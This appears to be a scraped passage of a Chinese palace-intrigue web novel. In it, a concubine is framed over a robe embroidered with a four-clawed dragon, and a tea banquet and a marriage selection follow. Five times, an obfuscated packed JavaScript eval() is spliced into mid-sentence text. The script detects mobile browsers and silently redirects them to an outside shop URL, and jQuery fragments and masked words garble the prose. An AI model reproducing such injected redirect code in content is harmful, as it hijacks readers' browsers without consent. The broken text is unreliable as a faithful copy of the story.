一个小宫女拿着托盘进来跪下,“皇上,这是娘娘为皇上制好的寝衣,请皇上过目。” “是你。” 顾辰枭语气有些冷。 刺得跪在地上的绯儿颤抖了一下,眼眶都红了。 皇帝对难为一个小宫女不感兴趣,他目光转向那件寝衣,声音柔和了些,“是因因亲手做的?” “是、是娘娘亲手所制。” 顾辰枭笑了一下,抬手拿起那件寝袍,亲自对光抖开。 一针一线都是因因的心意。 那小宫女似开了窍一般,在旁边说:“为了与这轻薄的料子匹配,娘娘挑了许久的绣线,让奴婢挨个都试过呢。这一针一线,都是娘娘的心血。” 顾辰枭觉得这小宫女嘴甜,刚要赏她。 目光突地滞住。 他有些难以置信,定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280602|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住神,又细细地看了一次。 才终确认,没看错。 上好的浅金色料子,微微有些发凉,水一般流过指间。 “皇上?” 绯儿抬头,只见那寝袍,无声地滑下,落在皇帝靴边。 顾辰枭面色黑沉,没必要和一个小宫女解释什么,重要的是因因……因因到底怎么想的。 “这寝衣上的图案,是谁绣的?” 绯儿瞪大眼睛,“自然是、是娘娘,娘娘亲手绣的。娘娘绣这金龙时,说好似心上人就在眼前,叫人心生喜悦……” 是因因绣的。 她绣这金龙时,心里想的,到底是什么?! 皇帝面沉似水,一言不发,起身便要向门口走去。 殿内伺候的下人齐齐一愣,没人敢拦。 绯儿往前追了一步,鼓起勇气,“皇上可是不喜欢着衣裳?可、可这是娘娘的心意。求皇上告知,到底为何不喜。不然,娘娘回来了,只怕要狠罚奴婢。” 江澜因也虐打下人吗? 皇帝面色愈黑沉。 顾辰枭身后,苏忠远上前拦住绯儿,低声训斥:“怎敢拦皇上?好大的胆子!贞娘娘最是纯善,岂会不分青红皂白就罚你?别浑说。” 他也反应过来,皇帝情绪骤变,问题定是出在那寝袍上。 可一件衣裳而已,能出什么事? 苏忠远目光扫过来。偏生那寝袍被顾辰枭扔在地上,团作了一团,根本看不清楚。 苏忠远还要说什么。 皇帝冷沉的声音传来:“翊坤宫宫人听清楚了。告诉贞妃,不许苛待绣娘。” 说罢,他一步就要迈出宫门。 苏忠远心中直发沉,“皇上,您不等贞娘娘回来,问个清楚?” 顾辰枭正在气头上,“你是朕的奴才,还是贞妃的奴才?” 苏忠远面色瞬间苍白。 他再不敢说话,躬下身跟在皇帝身后,走了。 江澜因回来时,正瞧见雪色狠狠抽了绯儿一记耳光,打得她脸颊肿起,趴在地上。 春枝劝不住她。 雪色怒道:“皇上不准娘娘罚她,可没说奴婢也不能动她!明明是她,陷害小姐!她不该死吗?” “住手。” 江澜因声音淡淡的,不见一丝慌乱,“到底怎么回事,说清楚。” 春枝脸色苍白,她拿出那件寝衣。 “小姐,你看——” 第117章 她心里,还想着太子? 第一百一十七章她心里,还想着太子? 翊坤宫东暖阁内,灯烛摇曳。 春枝对光展开那寝袍,上面的金龙映着烛光,熠熠生辉。 江澜因瞳孔猛地一缩。 领口旁,探出的金龙,只有四爪。 宫规祖制,皇帝用五爪金龙。 太子才用四爪的。 另一边,顾辰枭快步走着。冷风扑在面颊上,刮得肌肤生疼。 眼前仿佛浮现出江澜因就着烛光飞针走线,本该是温馨、恬静的画面。可一想到,她手下绣出的,是四爪金龙。 顾辰枭心口就仿佛被人重重揪了一下。 因因口中说着愿意服侍自己这个皇帝,可给他做东西时,心中想的,竟还是太子! 好啊!江澜因,她可真是好极了! “皇上,皇上?” 太监的声音从身后传来。“皇后娘娘听说了翊坤宫的事,请皇上去坤宁宫一晤。” 坤宁宫中。 何皇后满脸担忧地迎上来,“……贞妃年纪小,一时管不住自己的心,也是有的。皇上勿要生气,气坏了自己的身子不值得。” 皇帝扫她一眼,“皇后的耳报神倒是快。也未必就是出自贞妃之手。” 何皇后道:“知道皇上最偏纵贞妹妹。可皇上您想,给您用的东西,就算不是出自贞妃亲手,她也总需最后把关。这样明显的错处,她没看出来……” 只能说明,江澜因能力不足。 不配办品茗宴。 更不配掌宫权,协理六宫。 无论是哪种,江澜因都绝落不下好儿! 果然,皇帝面色发沉,“她不稳重。过几日的品茗宴,还是让皇后操持最为稳妥。” 何皇后得意地挑了挑唇,故作为难,“只是……臣妾的霖儿也要选妃,若是臣妾操持,只怕纯妃心中不平,觉得好的都被本宫给霖儿挑去。” 皇帝不耐道:“那就让贤妃办。” 何皇后不是这个意思。她一愣,张了张口还想说什么。 皇帝:“就这么定了。” 何皇后:…… 行吧,贤妃就贤妃。虽然贤妃也讨厌,可她不敢忤逆皇后,让她平白摘走江澜因的果子,皇后心中也舒坦。 何皇后又问:“皇上,此事要查吗?” 说大不大,说小也不小。 无人在意,只是皇帝心里不舒服。 顾辰枭闭了闭眼睛。 “不必查了。” 何皇后弯唇。不查有不查的好。不查,江澜因永远洗不清楚冤屈,就算她后面还能勉强勾住皇帝的心,两人之间,永远都会存在隔阂。 毕竟,太子**。 皇帝时时都会想起,自己怎么跟一个**争? 怕是永远也取代不了太子在江澜因心中的位置,觉得挫败。慢慢地,皇帝就会放下她。 何皇后:“都听皇上的。不过……臣妾今日想给霖儿和他未过门的媳妇做一对平安长乐荷包,内务府说最顶尖的绣娘,如今都在翊坤宫。” “皇后想要,把人调到坤宁宫便是。区区小事,不必问朕。” 片刻后,绯儿被带来。 顾辰枭还未走。 一眼就看到她脸上的指印。 心口顿时翻涌着怒气,“朕是不是说了,不许贞妃罚你?是她动的手?” “是、不是……”绯儿吓得瑟瑟发抖,“娘娘她没有。” “你不必替她瞒着!贞妃也被朕纵得太跋扈了!” 莫非,江澜因在他面前,做出的种种小女儿情态,都是装的? ……这后宫中的女人,果然个个都有心机。只有他的樱儿,他的贵妃,是最单纯的。 皇帝:“传朕的口谕,去翊坤宫好好儿问问贞妃,何故不遵圣旨,狠辣跋扈?有她这样的女儿,不怪她娘竟要闹出合离的丑事来!” “告诉她,品茗宴不用她筹备,她也不必来了!省得叫朕的未来儿媳们学成她那样!” 皇帝这一番话,没有对江澜因的实质性惩罚。 却极下脸面。 坤宁宫出去的传旨太监,站在翊坤宫门口,大声复述了一遍顾辰枭的话。 宫道上往来经过的下人,都听了个一清二楚。 流言当即四散开来。 “这贞妃小小的年纪,没想到心肠竟这样狠毒。表面上一副柔弱无辜的模样,背地里竟虐打宫婢,连皇上的话都不听。” “怪不得她娘也要闹着合离。真是有其母必有其女,母女两个都不懂事,不识大体。” “我听说,这贞妃在闺中,就与母亲不睦。是她不孝,娘都被她气跑了……” 什么难听的话,都有。 雪色在外面听了,眼眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280603|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通红地回来,跪在江澜因跟前。 “小姐,您罚奴婢吧,都是奴婢的不是。” 一时没压住性子,打了绯儿,被皇后抓住了现行。 “奴婢、奴婢去求见皇上,把真相说出来,就算皇上要处死奴婢,奴婢也认了。小姐太委屈了。” 江澜因倒没被外界影响。 皇帝只是骂她,没说要罚她,宫内吃穿用度一点都不少。 江澜因斜依在贵妃靠上,吃着腊梅花糕,配着暖胃的红茶,悠然地翻着手中的书卷。她含笑问道:“什么真相?” 雪色:“那寝袍上的金龙,根本不是小姐所绣,那错处就不在小姐。绣房拿来的袍子,是好好儿的五爪金龙,定是被那个绯儿调换了,她不安分……” 江澜因一双美目,从书卷上沿淡淡一瞥。 只一眼,像剪刀一般剪断了雪色的话。她脸色发白,羞愧又懊悔,“小姐,奴婢知错了。” “用自己的脑子想一想,错在何处?” 雪色紧紧攥着手指,掌心一阵刺痛,强逼着自己冷静下来:“奴婢就算闹到了御前,也只会被说一句不懂事。皇上的口谕,根本没提那寝衣的事,奴婢若闹大了,小姐会吃亏。” “还不算太蠢,还有呢?” “……那个绯儿,她既然敢这么做,一定早把那五爪金龙处理掉了。奴婢空口无凭,没有证据。皇上不会信。只会、只会……觉得小姐在撇清罪责,实际上并不无辜。皇上怪的是,小姐罚了绯儿,可,根本那不是小姐做的,奴婢愿以死赎罪。” 江澜因将书卷翻扣,指尖轻轻摩挲书脊,面色冷沉下来。 “本宫白教你了。” 这话比捅了雪色一刀,还叫她难受,“……小姐。” “你是本宫的贴身大宫女,你打她,和我打她有何区别?谁会信,是那绯儿刻意激怒你,你才动的手?” 雪色一愣,“小姐,你怎知道?” 确实是绯儿口口声声栽赃江澜因,雪色实在忍不了,才打了她。可怕小姐觉得自己敢做不敢认,还要找借口,雪色瞒下没说。 江澜因淡淡的:“本宫知道你的性子。你这么做,定然是听见忍不了的话。” “……是。”雪色流下了眼泪。 江澜因:“可你就没想过,翊坤宫这么多人,为何绯儿那丫鬟不挑别人激怒,偏偏挑你?” 第118章 冲着她来的 第一百一十八章冲着她来的 “因为、因为……奴婢蠢。” 江澜因:…… 她终是有些压不住性子:“本宫任用一个蠢货做贴身大宫女。你蠢,本宫更会被人说成是蠢笨不堪!” 雪色脸色惨白,身子摇摇欲坠。 江澜因叹了口气:“是冲本宫来的。” “小姐……” “是人家一早摸清楚了本宫这翊坤宫上上下下的心性儿,专一冲着本宫来的。” 江澜因抬手,让雪色起来,“用你的猪脑子好好想一想,这幕后是谁。” “是……是坤宁宫那位。” 谁都没有证据,可皇后的人,来的实在太巧。 绯儿刚挨了打,就来人把她带走。若是稍晚上一时半刻,绯儿脸上的印子消了,此事便发作不出来。 江澜因本以为皇后安插绯儿进来,是要她借着自己这翊坤宫在皇帝跟前出头。 没想到,竟是何皇后的连环套。 “皇后行事,向来不择手段。她此举,为的不过是宫权。” 江澜因放下书,眸色转冷。 自古以来,争权夺势,必要见血。她没想过这条路会一帆风顺。 只是,江澜因痛恨被人摘果子。 前世,她守寡,被害了一生。 文师师摘走了她的果子。 被文氏害死后,文师师还和顾言泽一起,假惺惺地来甘露寺祭拜。 顾言泽神情有几分悲戚。 文师师道:“因因姐对陛下一往情深,想是听闻陛下封师师做皇后,她受不住,才自尽。陛下,您看在她是师师姐姐的份儿上,勿要追究。她死者为大啊!” 顾言泽变了面色,温声安慰:“不关皇后的事。是贞妃自己心量小,想不开。” 当时的江澜因作了鬼,无比愤怒。 绕着两人疯狂嘶吼。 滔天的怒意,叫原本的晴空**,瞬间涌上乌云,隐隐的雷鸣在云深处酝酿。 文师师娇美的小脸上闪过一丝不安。 顾言泽护住:“你身子不好,最怕阴雨天。走吧,回宫。” 明黄色、嵌满了珠宝的华盖撑起,庇护住了两人。 江澜因倾尽鬼力下的一场雨,没有一滴打到他们身上。文师师反倒因为来祭拜自己这个可怜的“贞妃”,得了贤惠大度的美名。 眸子深处闪过一星冷意,让江澜因本来大气浓丽的脸庞多了一丝端严。 重生一世,往后只有她摘别人果子的份儿。 既然何皇后要摘她的果儿,就让皇后好好摘,摘个够。 江澜因叫春枝进来,向两个丫鬟:“除了绯儿,咱们宫中定然还有其他皇后的眼线。去暗地里查清楚,不准打草惊蛇。” “是。” 雪色还是放不下,“小姐,罚奴婢吧。” “先查了再说。若还办事不利,两罪并罚,狠狠揍你一顿。” 打发丫鬟出去,江澜因又添了一杯茶。时近年关,天气一日日冷了起来,转过年去,便是春了。 皇帝没有禁江澜因的足,她用过茶点,去御花园中散步。 在假山石旁,遇到了贤妃和海贵人。 江澜因与贤妃见平礼,海贵人对她躬了躬身,轻笑道:“贞妃倒是好兴致,满宫都在传闲话,你还有心情逛院子。” “知道是闲话,有什么好在意的?”江澜因淡淡笑道,“难道人人都要和海姐姐一样,听到些什么就没完没了地狂吠吗?” 海贵人娇美的面色阴沉下来,她冷笑道: “好厉害的一张嘴。嫔妾只是不知,贞娘娘在闺中时,也是这么气侯夫人的?你可知道,侯夫人被你气得,要和靖威侯合离,说往后也不敢认你这个女儿。贞妃妹妹,这可是天大的不孝。” 江澜因向一旁看热闹的贤妃:“贤妃姐姐,管好你的狗。” 海贵人好似拼尽全力的一圈,砸在了棉花上,泄了力,浑身说不出的难受。 她变了脸色,“你骂谁是狗?” 越说越不像了,贤妃拦住她,向江澜因冷道:“好妹妹,知道你得宠,性子不免娇纵些。可你我与海贵人都是一样的,是皇上的妃妾,你何必为难她?” 海贵人对江澜因的羞辱,贤妃看不见,反倒说江澜因为难低位嫔妃。 贤妃掩唇笑道:“妹妹才因为苛待下人,被皇上落了颜面,这么快就忘了?” 她只能说是清秀的一张脸上,满是得意,“妹妹还不知道吧?皇上让本宫操持品茗宴,这时间紧迫,本宫原不想接。可幸好,妹妹之前的差事办得很细致,本宫直接上手,倒也不累。只是可惜妹妹用的一番心思,最后连参加皇上都不让。” 海贵人娇笑:“皇上说,怕她教坏了旁的贵女。” 两人说笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285119|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,有小太监匆匆跑来,“贤妃娘娘,皇上翻了娘娘的牌子,现在圣驾已到了咱们永和宫……” 贤妃面上现出惊喜。 皇上已经快一年没进过永和宫了!如今竟又要宠幸她! 幸福得几乎要落泪。 转过身,忙忙地跟着小太监走了。 海贵人连忙跟上,还不忘回头向江澜因挑衅地一笑,“今日皇上在,就不请妹妹去永和宫做客了。咱们改日再见。” 看着两人背影匆匆远去,江澜因眸色转深。 这个海贵人,依附贤妃,这么多年了还是个贵人。 给贤妃做狗,她图什么呢? 又闲逛了一会儿,贤妃和海贵人带来的晦气散尽了,江澜因方回翊坤宫。 没想到,纯妃在翊坤宫中,已等候多时了。 江澜因微愣。 她得宠,烈火烹油的时候,纯妃少来走动。现在倒敢来了。 纯妃也是一脸无奈,从身后拖出二皇子,“是这个傻子,非要来贞妹妹宫中坐,妹妹别烦他。” “嘿嘿……” 二皇子憨厚地笑着,抱着一大捧梅枝,双手举着,塞给江澜因:“花好,送你。” 赏梅讲究贵稀,贵瘦。 梅花以舒朗为美,清瘦为美。 很少似眼前这般,一大捧束在一起。梅花在枝干间,如点点星子般绽放,别有一番野趣。 纯妃面上有些尴尬,“这孩子痴傻,不懂事,不知道什么是好的、美的,一股脑儿都折下来……” 江澜因双手接过,精致的小脸含笑:“纯姐姐过谦了。这梅花很好,很美。我很喜欢。” 纯妃一愣。 她带着二皇子在宫中这么多年,知道所有人背地里都嘲笑他们母子。 得过皇后手指缝里落下来的赏赐。 却从未得过一句认可。 她张了张口,只觉眼眶一阵莫名发胀,“贞妹妹喜欢就好,喜欢就好……” 拉着二皇子,边低头擦泪边匆匆往外走。 二皇子还不忘回头,对着江澜因笑着挥手。 送走二人,江澜因:“春枝,你刚才再三再四急火火地探头,在忙什么?可是叫你查的事,有眉目了?” “是!” 春枝脸色惶然,扑通一声跪下,“小姐,是奴婢失察!奴婢怎么也没想到,皇后的眼线竟是……” 第119章 皇后好大的手笔 第一百一十九章皇后好大的手笔 说出人名那一刻,连江澜因都愣了愣。 真没想到…… 何皇后为了抓权,当真是好大手笔。 她竟是将内务府的六名绣娘,全部调换。又额外加了一个绯儿。 绯儿像贵妃,容貌太过于打眼,会吸引所有人的注意力,只是防着她一人。 没防备其它六个绣娘。 “呵……” 江澜因淡声笑了。她樱色的唇角上挑,露出珍珠般雪白的贝齿,黑沉沉的瞳仁微微放大。 莹粉的舌尖,舔了舔虎牙。 心跳加速,脊背都在微微发紧,发热。 ……好兴奋。 进宫以来,何皇后几次试探,都没激起什么水花。这次,皇后终于认真了。 到此刻,江澜因才明白,为何邱嫔聪慧,又有韧劲儿,这么多年,动不了何皇后分毫。 何家的家底,实在太厚。 数代人的累积,就算是在御前,也有数不清的人手,任皇后调用。 无权无势的邱嫔跟她斗?怎么斗? 就算是江澜因自己只怕也…… 她掩唇,笑出了声。 步摇流苏簌簌晃动,金澄色的光打在晶莹如玉的脸上,波光潋滟。 她不一样。 入宫之前,她与皇后是死斗。不入宫,任谁都可以来踩她这个没有名分,却要守寡的太子妃一脚。为了争位份,江澜因拼了命。 皇后以为她进了宫,有荣华富贵,皇帝的恩宠,会变得有所顾忌。 错了,皇后错了。 江澜因没变过。 那些东西,她不在乎。 她依旧喜欢赌,喜欢赌最大的,用命赌。 “小姐,奴婢想着就觉心惊……” 春枝面色苍白,“若是真让雪色去皇上跟前陈情,皇上要查此事,那些绣娘是皇后的人,她们只会作证不利于小姐。到时候做实了小姐的罪,事情只会更糟。” “皇后擅使连环计,一环扣着一环。小姐,咱们怎么办?” 旁的都不要紧,可触怒了皇上。 偏此事尴尬,皇上不可能直说。只怕是在心里默默怨恨。 春枝真的急了,“不然,让沉璧拷问那些绣娘,不怕她们不说实话。” “没用的,问不出来。”江澜因摇头,“她们能被皇后送进翊坤宫,皇后就一定有能拿捏住她们绝不敢背叛的筹码。这当口,若严刑拷问她们,又一场是非。” 春枝一愣,脊背爬满了冷汗。 原来她们种种反应,都在皇后算计之中。 真是环环相扣,堵**翊坤宫所有的出路,要熬死她们。 “小姐,奴婢无能……” 难道,这次真的要咽下这个哑巴亏?太不甘心…… 江澜因眸光微微一闪,她仍是笑着,笑得愈发愉悦。 “本宫前几日不是安排了她们缝制寝袍?去取来,就说本宫要穿。” 过了几日,梅园中的暖亭搭好,品茗宴如期举行。 何皇后与贤妃高坐上首,纯妃为了照应儿子,情愿散坐在下面。 皇帝没有来。 有请柬的高门贵女们都来齐了,年轻的姑娘们脸庞儿娇嫩得花儿一样。 何皇后心情格外愉悦:“都平身。本宫听闻你们在盛京贵女中,是最拔尖儿的。本宫请你们进来,是要一睹风采。” 贵女们齐齐下拜,莺声燕语:“皇后娘娘谬赞。” 打头的,就是崔家贵女,和何家旁支的嫡女。 何家女自知是来做陪衬的,处处落后那崔家女半步,不与她争。 何皇后的目光,也主要集中在崔家女身上。此女一身鹅黄宫装,圆圆的小脸上两点酒窝,生得娇俏,讨人喜欢。 还……不错。 皇后又看向排在最末的方家女。 一身淡青色,如小荷初露尖尖角。虽无十分颜色,却也清新可人。 ……还是该做她儿子的侧妃。 虽说皇帝在江澜因怂恿下,把这方氏留给了二皇子。可……也要她自己认才行。毕竟,谁会放着未来的皇帝不嫁,非要嫁给一个傻子呢? 何皇后眸光微闪,“方家姑娘,上前来。给本宫好好儿看看。” 方小姐面上闪过一丝惊诧,很快掩好,小碎步上前。 何皇后拉着她的手,向纯妃笑道:“两广的水土养人,养出来的娇女肤白莹润,与京中贵女不是一样面貌。” 纯妃面色微微发青,不敢当众忤逆皇后,只得讷讷道:“是、是……” 何皇后:“本宫喜欢这好姑娘,想听她叫本宫一声母后。” 竟是直接许了方小姐皇家妇的身份! 方小姐掩不住面上的诧异。 叫何皇后一声母后,那岂不是…… 何皇后亲亲热**拉着方小姐的手,将一块玉珏塞进她手里,“好孩子,本宫看你有眼缘。你喜欢谁,就把这个给谁。本宫保证,你定会如愿。” 竟是让她自己选。 若这方小姐自己选了三皇子,就算是皇帝不愿,纯妃怨恨,又能如何? 难不成还非要强迫着方氏嫁一个傻子?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285120|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何皇后:“好孩子,本宫相信你不会选错。” 方小姐一颗心全乱了。 她来之前,爹娘再三跟她说过,已答应了贞妃娘娘,选二皇子。 可那二皇子,是个傻子。他母族又不显贵。 怎比得上三皇子温润、俊朗?更别说,太子**,只有三皇子才能继承大统。 泼天的富贵,怎么就轮不到她们方家? 方小姐抬眼,看向三皇子。 却瞧见他的目光,流连在崔氏女身上。 那目光…… 不光是初次见面的满意和欣赏,似还含着丝丝情谊。 三皇子,满心满眼,都是旁人。 方小姐目光又偷偷转向二皇子,那个傻子。她微微一愣。 二皇子容貌生得不错,此刻一双眼睛瞪得大大的,水汪汪地看着自己,竟有几分委屈。 叫方小姐想起了府中后门常来讨食的小狗。 心中倏然一软。 罢了,罢了。 她素来喜欢养些猫儿狗儿,就把二皇子当小宠养,还能混得堂堂正正的王妃身份。 这波不亏。 贞妃与她无冤无仇,不会平白坑她。 方小姐心一横。 走上前去,将玉珏硬塞在二皇子手里。 何皇后:??? 二皇子攥住了玉佩。方小姐起身,向皇后行礼:“皇后娘娘母仪天下,是宫中所有皇后的嫡母。臣女往后,也能叫娘娘一声‘母后’了。” 她面上是单纯的欣喜。 何皇后张了张口,还要说什么。 纯妃笑道:“皇后娘娘,竟是我儿领了先,当真不易。” 一句玩笑话,把事情揭了过去。护着方小姐。 何皇后低头喝了一盏茶,方才压下心头火气。 她看中方家的,没想到那方氏竟也是个傻子!放着她的好大儿不要,要二傻子。好,好好,一家子,傻到一处,也是缘分。 方氏不要她的儿子,有的是人要! 何皇后深吸一口,看向顾承霖。 发现他和那崔氏女挨得很近,两人一递一句,小声说话,时不时有眼神交流。 素月见皇后不悦,忙劝道:“咱们三殿下,需得大盛第一等贵女方配得上。崔家小姐哪儿哪儿都比方氏强。依奴婢看,三殿下也喜欢她。” 何皇后微微皱眉。 她的儿子,她自己了解。 霖儿是不是与那崔氏,太亲密了些? “霖儿,”何皇后冷不丁开口,“你与崔小姐,早先可认得?” 第120章 品茗宴 第一百二十章品茗宴 顾承霖早预备着有这一问。 他与温曦飞快地交换了一下眼神,躬身行礼:“母后可信一见钟情?” 皇后不信。 可这话是从她心爱的霖儿口中说出来的。她素来知道霖儿纯良,不会骗自己这个母后。 可能是真的,看对眼儿了。 儿子姻缘美满,皇后也替他高兴。 “崔小姐,听你爹娘说,你幼时并未养在宫中?本宫从前没见过你,瞧着你眼生。你叫什么名字?” 温曦按住砰砰的心跳:“回皇后娘娘的话,臣女姓崔,叫、叫崔曦儿。” “曦儿?好,好名字。” 皇后口中夸赞,心中却有几分疑惑。 刚才,一番对答,方氏一个外官的女儿,表现得有礼有节,落落大方。 这崔曦儿身上却一股子小家子气。 是崔家教得她这样? 顾承霖见何皇后拧眉,知道她心中生疑,忙道:“母后,曦儿一个未出阁的女子,她害羞,您别吓她。” “本宫吓她?”何皇后失笑,“你这孩子,这么快就知道护自己人了。” 罢了罢了,既然儿子喜欢,就随他吧。 反正崔家的女儿,性子都野。如今的崔夫人,镇南将军孙敬的妻子,都这个年纪了,还能提枪纵马,千里奔袭。 她教不出守礼的女儿,也正常。 何皇后也给了温曦一块玉珏,看着温曦把东西羞羞怯怯地递到三皇子手里。 两个孩子的婚事,算是初定。 等着除夕家宴,再让她二人在重臣女眷中惊艳亮相,此事便算是彻底定下。 能为儿子娶到崔氏女,得崔家的助力,何皇后还算满意。 至于这个崔曦儿的仪态,回头再让教养嬷嬷教她便是。 何皇后抬了抬手,“本宫今日看见你们,心中真是高兴。叫乐伎来献舞,大伙儿同乐。” 歌舞乐声格外的大,半个后宫都听得见。 何皇后是给江澜因听的。 没有她,品茗宴照样顺顺利利地办下来了,比从前更好。 这乐声,也一样飘去了东宫。 正是顾言泽过午不食,最饿的时候。 那个小胖太监又来了,这次提来了食盒,“……是贞妃娘娘亲手给殿下做的腊梅甜糕,太子殿下可喜欢?” 腊梅的清香扑鼻。 实际是江澜因前日就着茶水,剩下的。 顾言泽:“回去告诉因因,孤很喜欢。她呢?她还好吗?” 小胖子扁了扁嘴,欲言又止。 顾言泽皱眉:“怎么?难道她不好?” 他在关在东宫,又被斩断了手脚、耳目,外面的事,知道得不多。 太子再三逼问下,小胖子终于带着哭腔道:“娘娘她……不好。她母亲侯夫人要合离,事情闹得满城风雨,娘娘因此被皇上误会,郁结得病了,整日都哭……” 他胖胖的一张脸,极具表现力。 顾言泽心中一阵酸楚,“你回去告诉因因,让她千万撑住,等着孤,孤早晚会出去的……” 出了东宫,小胖子把脸一抹,重新酝酿了一下情绪。 蹲在梅园门口,找了个地方藏身。 终于等得圣驾到了。 又眼睁睁看着皇帝进了梅园,身影消失得看不见。 小胖子从树丛里爬出来,面上满是惊惶之色,闷着头就要往里闯。 被侍卫拦住:“什么人?胆敢惊动皇上圣驾?” “奴才是、是翊坤宫太监,贞妃娘娘病了,想见皇上,求侍卫大哥让奴才进去通传一声。” “贞妃……” 侍卫犹豫,“皇后娘娘、贤妃和纯妃都在梅园里面,恐怕你进去了冲撞。在这儿等着,我替你进去通传。” 守门的侍卫,一重重上报。 消息还是先传到了何皇后耳中。 “江澜因病了?”何皇后冷笑一声,“装腔作势。” 这贞妃才受了几日冷落,就耐不住了? 使的手段,还这般不入流。 真是没用。 何皇后看了一眼不远处的皇帝,正含笑听霖儿说着什么。父子两个和睦。 “把翊坤宫的人打发了,不许他们拿这等小事惊扰皇帝。” “是。”素月领命,“奴婢亲自去。” 瞧见在梅园门口等着的是坤宁宫出去的小胖子,素月冷哼一声:“不是早早攀高枝去了?还以为胖公公这辈子再没有低三下四求人的时候了。” “素月姐姐,”小胖子眼睛一亮,“求姐姐帮帮奴才,贞妃真的病了,病得厉害。” “呵……” 素月冷笑一声。贞妃**才好呢。 “皇上和皇后娘娘都忙着,没空儿去看她。” “求姐姐通融通融,娘娘只是想见皇上一面……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287805|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>素月本就看不上从坤宁宫出去,投奔别处的下人。她一挥手,冷道:“翊坤宫太监纠缠不休,来人,拖下去,狠狠地打!” 素月是皇后身边第一等大宫女,侍卫们听令,拉开小胖子,一顿拳打脚踢。 素月出了气,才叫人赶走了小胖子。 小胖子一路哭哭啼啼,回到翊坤宫。 一金拱门,就委屈地哭出了声:“娘娘,贞妃娘娘,奴才没用,没请来皇上,求娘娘责罚。” 他哭得很大声。 一旁绣房里的几个绣娘都听得清清楚楚,手中的活计都放下了。 江澜因寝殿中。 “咣当”一声! 似砸了什么东西出来。 小胖子又高叫道:“奴才没用!皇上就在梅园里品茗,奴才没能请来!奴才都说了,娘娘病了,皇上也不肯来!” 绣房中,一个临窗而坐的女子,唇角勾起一抹得意的笑意。 寝殿内,江澜因慵懒地斜依在软枕上,身姿松弛惬意。莹润的指尖盘玩着一串白水晶念珠,对光折射出璀璨的星辉。 她对着小胖子满意地点点头,做了个手势。 春枝捧着赏赐上前。 她压低声音:“这次是你的‘独角戏’,娘娘怜悯你辛苦,还受了伤,多赏你些,去太医院拿些好药酒,别真伤到了,落下什么病。” “多谢娘娘。奴才从前演武行,知道挨打的时候避重就轻,没事的。” 小胖子谢恩毕,要退下。 江澜因:“打你的人,看清楚脸了吗?” 小胖子一愣,下意识:“倒是……都认得。” 打他的是侍卫,下令的是皇后身边的素月。 江澜因精致的面庞上,笑意如春桃一般绽放,美艳耀目得让人不敢直视。 “伤了你的那些人,本宫早晚让你打回来。” 不过是些微小事。可从未有过人这样对他,把他当人。一股子酸涩直冲鼻孔,小胖子眨眨眼睛,声音有些颤:“……是!” 品茗宴进行得格外顺利。 贞妃的小小插曲被压下去。 江澜因病着,连续几日不曾去坤宁宫请安。似乎就这么在后宫中沉寂下来。 一日,顾辰枭路过坤宁宫,看见请安毕四散出来的嫔妃。 直到黄玉珠最后一个走出来。皇后花厅门口那条暖帘再未动过。 皇帝面色沉落:“贞妃人呢?没来请安?” 第121章 皇帝册封新嫔妃 第一百二十一章皇帝册封新嫔妃 这几日,翊坤宫安静得很。 顾辰枭拧眉,修长有力的手指一下下敲着御辇扶手,满心的不悦。 